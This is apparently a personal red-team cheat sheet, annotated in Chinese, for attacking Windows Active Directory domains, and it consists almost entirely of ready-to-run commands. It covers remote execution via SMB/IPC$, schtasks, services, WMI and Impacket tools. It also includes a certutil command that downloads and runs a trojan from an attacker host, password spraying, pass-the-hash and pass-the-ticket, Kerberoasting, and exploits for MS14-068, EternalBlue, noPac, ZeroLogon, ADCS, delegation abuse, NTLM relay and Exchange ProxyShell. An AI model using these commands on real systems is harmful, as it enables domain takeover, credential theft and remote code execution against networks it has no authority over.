

hashcat.exe -a 0 -m 1000 ntlm password.txt

端口445 139

net use \192.168.52.138\ipc$ 密码 /user:god.org\Administrator #域链接
net use \server\ipc$ "password"/user:username # 工作组连接
net use \192.168.52.138\IPC$ /delete #删除连接
net use #查看本机连接共享情况
net view \192.168.52.138 #查看已建立连接目标主机的共享资源
dir \192.168.52.138\C$\ # 查看文件列表
copy \192.168.52.138\C$\1.bat 1.bat # 下载文件
copy 1.bat \192.168.52.138\C$ # 复制文件
net use \192.168.52.138\C$\1.bat /del # 删除
copy C:\Users\Administrator\Desktop\zx.exe \192.168.52.138\c$\Users\liukaifeng01\Desktop\zx.exe


2012以下的版本
at \192.168.52.138 14:49 C:\Users\liukaifeng01\Desktop\zx.exe

2012以上的版本
创建任务
schtasks /create /s 192.168.52.138 /ru "SYSTEM" /tn test1 /sc DAILY /tr C:\Users\liukaifeng01\Desktop\zx.exe /F
执行任务
schtasks /run /s 192.168.52.138 /tn test1 /i

创建服务
sc \owa.god.org create shell binpath= "c:\Users\liukaifeng01\Desktop\fx.exe"
运行服务
sc \owa.god.org start shell

交互式shell
atexec.exe god/administrator:[email protected]有域
atexec.exe god/administrator:[email protected] "命令执行"无域
atexec.exe ./administrator:[email protected] "命令执行"Hash
atexec.exe -hashes :hash值 god/[email protected] “命令执行”python
python atexec.py god/administrator:[email protected] "命令执行"

下载地址:https://github.com/fortra/impacket
wmic /node:192.168.52.138 /user:god\administrator /password:”” process call create “命令”(无回显)
下载木马
shell wmic /node:192.168.52.138 /user:god\administrator /password:"" process call create "certutil.exe -urlcache -split -f http://192.168.111.128:80/fx.exe ""C:\Users\liukaifeng01\Desktop\fx.exe"""运行木马
shell wmic /node:192.168.52.138 /user:god\administrator /password:"" process call create ""C:\Users\liukaifeng01\Desktop\fx.exe""


交互式shell
wmiexec.exe god/administrator:[email protected]有域
wmiexec.exe god/administrator:[email protected] "命令执行"无域
wmiexec.exe ./administrator:[email protected] "命令执行"py
Python wmiexec.py god/administrator:[email protected] "命令执行"Hash
wmiexec.exe -hashes :hash值 god/[email protected] “命令执行”

端口445


PsExec64.exe \192.168.52.138 -u administrator -p passwd -s cmd

下载链接:https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec
交互式shell
smbexec.exe god/administrator:[email protected]有域
smbexec.exe god/administrator:[email protected] "命令执行"无域
smbexec.exe ./administrator:[email protected] "命令执行"py
Python psexec.py god/administrator:[email protected] "命令执行"hash
smbexec.exe -hashes :hash值 god/[email protected] “命令执行”

端口 5985
攻击机开启:
winrm quickconfig -q
winrm set winrm/config/client @{TrustedHosts="*"}
winrs -r:192.168.52.138 -u:192.168.52.138\administrator -p:passwd 命令




条件:
适用目标 Win7 系统以上
管理员权限 PowerShell
远程主机防火墙未阻止
交互式shell
Python dcomexec.py god/administrator:[email protected]
py
Python dcomexec.py god/administrator:[email protected] "命令执行"Hash
dcomexec.py -hashes :hash值 god/[email protected] “命令执行”


SharpRDP.exe computername=192.168.3.32 command="命令" username=Administrator password=

下载:https://github.com/0xthirteen/SharpRDP
主要参数: -u 用户,-p 密码,-H 哈希值,-d 指定域,-x 执行命令
crackmapexec smb 192.168.52.138-143 -u administrator -p passwd --local-auth #本地用户crackmapexec smb 192.168.1.101 -u /path/to/users.txt -p Summer18 #多个用户以一个密码
crackmapexec smb 192.168.1.101 -u Administrator -p /xxx/passwords.txt#一个用户多个密码
crackmapexec smb 192.168.1.101 -u Administrator -H /xxx/HASH.txt #hsah爆破
crackmapexec smb 192.168.52.138-143 -u administrator -p passwd #探针

crackmapexec smb 192.168.52.138-143 -u administrator -p passwd -x 'whoami' #命令执行

crackmapexec smb 192.168.52.138 -u administrator -p passwd --put-file /root/1.txt \Windows\Temp\1111.txt #上传文件


先获取sid whoami/user
MS14-068.exe -u [email protected] -s S-1-5-21-1982601180-2087634876-2293013296-1002 -d 192.168.52.138 -p passwd

测试

导入票据
mimikatz kerberos::ptc C:\Users\user.STU1\Desktop\[email protected]


本地的
shell kekeo.exe "tgt::ask /user:administrator /domain:god.local /ntlm:ae186033f8172c7ea159374ffa45fe61" "exit"域内
shell kekeo.exe "tgt::ask /user:administrator /domain:god.org /ntlm:ae186033f8172c7ea159374ffa45fe61" "exit"


导入票据
shell kekeo.exe "kerberos::ptt [email protected][email protected]" "exit"


导出本地票据
mimikatz sekurlsa::tickets /export

导入票据
mimikatz kerberos::ptt文件名


条件:采用 rc4 加密类型票据
生成票据
Rubeus.exe

hashcat -m 13100 hash.txt pass.txt --force

通讯域控
python GetUserSPNs.py -request -dc-ip 192.168.3.142 0day.org/jack:admin!@#45 -outputfile hash.txt

使用mimikazt导出票据爆破
mimikatz sekurlsa::tickets /export
爆破
python tgsrepcrack.py pass.txt "xx.kirbi"

use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.52.138
run

探针
python scanner.py -use-ldap "god.org/administrator:passwd" -dc-ip 192.168.52.138

python noPac.py -use-ldap god.org/'administrator:passwd' -dc-ip 192.168.52.138 -shell

获取证书信息
certutil -config - -ping

普通账号申请证书
certipy req ‘域名/账号:密码@域控计算机名’ -ca ca值 -template User -debug

监测证书
certipy auth -pfx test.pfx

创建机器用户
python3 bloodyAD.py -d 域名 -u 账号 -p '密码' --host 域控ip addComputer 设置的计算机名 '设置的密码'

设置机器账户属性
python3 bloodyAD.py -d 域名 -u 账号 -p '密码' --host 域控ip setAttribute 'CN=设置的计算机名,CN=Computers,DC=god,DC=org' dNSHostName '["计算机名"]'

再次申请证书
certipy req '域名/设置的计算机名$:设置的密码@域控ip' -template Machine -dc-ip 被控主机ip -ca ca值

检测证书
certipy auth -pfx ./去掉-ca的ca值.pfx -dc-ip 域控ip

导出所有HASH
python3 secretsdump.py '域名/去掉-ca的ca值$@计算机名' -hashes :申请证书的hash

利用HASH:
python3 wmiexec.py 域名/administrator@域控ip -hashes 上一步的hash值

连接DC清空凭证:
python cve-2020-1472-exploit.py 域名 域控ip

获取域内HASH:
proxychains python3 secretsdump.py 域名$@域控ip -just-dc -no-pass

3、连接域控PTH:
python wmiexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@域控ip

探针非约束委派的账户
AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

探针非约束委派的计算机
AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

通过钓鱼诱使域控对控制主机进行连接产生票据
dir \192.168.52.138\c$

导出票据
mimikatz sekurlsa::tickets /export

票据进内存
mimikatz kerberos::ptt [0;bbd89][email protected]

连接域控
dir \192.168.52.138\c$

条件:dc 2012以上
监听来自 DC 的请求数据并保存文件
shell Rubeus.exe monitor /interval:2 /filteruser:域控主机名 >hash.txt

域用户运行 SpoolSample 强制让 DC 请求
shell SpoolSample.exe dc web

Rubeus 监听到票据并导入该票据
shell Rubeus.exe ptt /ticket:xxx

使用 mimikatz 导出域内 Hash
mimikatz lsadump::dcsync /domain:域名 /all /csv

探针约束委派的账户
shell AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

探针约束委派的计算机
shell AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

Kekeo伪造票据
明文:
shell kekeo "tgt::ask /user:ligang /domain:god.org /password:passwd /ticket:administrator.kirbi" "exit"hash值:
shell kekeo "tgt::ask /user:administrator /domain:god.org /NTLM:579da618cfbfa85247acf1f800a280a4 /ticket:administrator.kirbi " "exit"

获取域控票据
shell kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa.god.org" "exit"

导入票据
mimikatz kerberos::ptt [email protected]@[email protected]

连接
dir \192.168.52.138\c$

条件:
1.域控Windows2012及以上
2域内主机加入域使用同一个域用户(sid一样)
3.有这个用户的权限
4.可以创建机器账户
探针是否存在有同一个sid
AdFind.exe -b "DC=de1ay,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

搜索sid对应的用户
AdFind.exe -b "DC=de1ay,DC=com" -f "(&(objectsid=S-1-5-21-1695257952-3088263962-2055235443-1104))" objectclass cn dn

增加机器账户
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount 用户名 -Password $(ConvertTo-SecureString "密码" -AsPlainText -Force)

获取新增账户的 objectsid
Import-Module .\PowerView.ps1;Get-NetComputer 用户名 -Properties objectsid

设置修改属性
powershell Import-Module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;上面获取的sid)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer 目标主机名| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

验证
powershell Import-Module .\powerview.ps1;Get-DomainComputer DATA -Properties msds-allowedtoactonbehalfofotheridentity
利用可控机器申请访问目标主机主机 cifs 服务票据
python getST.py -dc-ip 192.168.52.138 god.org/用户名$:密码 -spn cifs/目标主机名.域名 -impersonate administrator

导入票据到内存
mimikatz kerberos::ptc 生成的票据

连接
dir \data.xiaodi.local\c$

下载:https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1

使用脚本实现Ntml重放攻击
net use \攻击者ip

python smbrelayx.py -h 192.168.225.181 -c 命令

在监听过程中的hash也有爆破的可能。
hashcat.exe -m 5600 hash.txt pass.txt

监听
python smbrelayx.py -h 192.168.225.181 -c 命令

python3 printerbug.py 域名/用户名:密码@域控ip 监听ip

监听
python smbrelayx.py -h 192.168.225.181 -c 命令
python PetitPotam.py -d . -u administrator -p admin!@#45 192.168.3.33 192.168.3.143
被动触发就是钓鱼,下面的文章写的很详细,这里不说了。
https://mp.weixin.qq.com/s/O-hYgpryXPJ-fCh8Nqggww
端口25 587 2525
命令探针
setspn -T god.org -q /

脚本
python Exchange_GetVersion_MatchVul.py ip

页面源代码看版本


Cve-2020-17144.exe ip 账号 密码


python cve-2020-0688.py -s https://ip/owa/ -u user -p pass -c "命令"

python exp.py 192.168.217.152 [email protected]

CVE-2021-34473 - Pre-auth Path Confusion leads to ACL Bypass
CVE-2021-34523 - Elevation of Privilege on Exchange PowerShell Backend
CVE-2021-31207 - Post-auth Arbitrary-File-Write leads to RCE
python3 exchange_proxyshell.py -u https://

github:https://github.com/hkl1x
weixin:wxid_gyhkcfxipu5w22